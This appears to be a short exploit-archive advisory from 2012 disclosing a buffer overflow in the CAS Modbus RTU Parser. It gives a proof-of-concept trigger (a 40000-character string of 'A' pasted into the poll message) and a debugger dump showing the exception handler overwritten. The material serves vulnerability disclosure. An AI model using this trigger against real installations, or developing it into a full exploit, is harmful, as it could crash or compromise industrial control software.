CAS Modbus RTU Parser Buffer Overflow SEH (PoC)

> Title : CAS Modbus RTU Parser Buffer Overflow SEH (PoC)
> Author : Senator of Pirates
> Founder : Marshal Webb
> Link Software : http://www.chipkin.com/technical-resources/cas-modbus-rtu-parser/
> FaceBook : /SenatorofPiratesInfo
> Marshal's FaceBook : /lulznet
> Date : 2012-09-07
> Greets : USA & Morocco
>
> PoC :
> ----
>
> you should input a long string of A*40000 into poll message and
> presson Analyze then SEH pointer is overwritten with 0x61616161 as you
> can see below.
>
> eax=00007531 ebx=00000000 ecx=0000099a edx=0012b138 esi=00f94f1c
> edi=00130000
> eip=00408f79 esp=0012b118 ebp=0012f840 iopl=0         nv up ei pl nz na po
> nc
> cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
> efl=00010202
> image00400000+0x8f79:
> 00408f79 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
> 0:000> dd esp
> 0012b118  0012fed4 0012fe08 0012f840 00000004
> 0012b128  5d5b0a0d 3a2c0920 7b29282e 003e3c7d
> 0012b138  61616161 61616161 61616161 61616161
> 0012b148  61616161 61616161 61616161 61616161
> 0012b158  61616161 61616161 61616161 61616161
> 0012b168  61616161 61616161 61616161 61616161
> 0012b178  61616161 61616161 61616161 61616161
> 0012b188  61616161 61616161 61616161 61616161



#  0day.today [2018-04-08]  #